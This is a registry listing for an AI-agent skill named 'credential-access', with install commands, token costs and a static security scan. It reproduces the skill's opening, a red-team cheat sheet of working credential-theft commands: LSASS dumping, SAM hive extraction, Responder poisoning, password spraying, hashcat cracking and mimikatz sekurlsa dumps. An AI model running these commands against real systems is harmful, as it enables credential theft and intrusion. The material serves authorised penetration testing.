Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill credential-accessgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/credential-access)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/credential-access"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/credential-access/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/credential-access"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/credential-access.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00038 | $0.04113 |
| Opus 5 | $0.00019 | $0.02056 |
| Sonnet 5 | $0.00008 | $0.00823 |
| Haiku 4.5 | $0.00004 | $0.00411 |
Grade B, and why
credential-access scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
when_to_use: "credential access, dump credentials, LSASS, mimikatz, password spray, NTLM relay, Responder, hash cracking, SAM dump, DPAPI, secretsdump" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
How it starts
The opening of the file, as written. The whole thing — 378 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Credential Access Knowledge Base
Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.
Quick Reference
# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full
# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>
# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log
# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log
# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | Mimikatz, nanodump, comsvcs.dll, HandleKatz |
| T1003.002 | OS Credential Dumping: SAM | reg save, secretsdump.py |
| T1003.004 | OS Credential Dumping: LSA Secrets | secretsdump.py, Mimikatz |
| T1557.001 | LLMNR/NBT-NS Poisoning | Responder |
| T1110.003 | Password Spraying | CrackMapExec, NetExec, DomainPasswordSpray |
| T1187 | Forced Authentication | ntlmrelayx.py, PetitPotam |
1. LSASS Memory Dumping
Mimikatz — sekurlsa Module
# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt
# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"
# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 378 lines · 38 tokens per session scan B b3736ad201ba
credential-access is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 38 tokens to every session and 4,113 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 1 finding (harvests environment variables). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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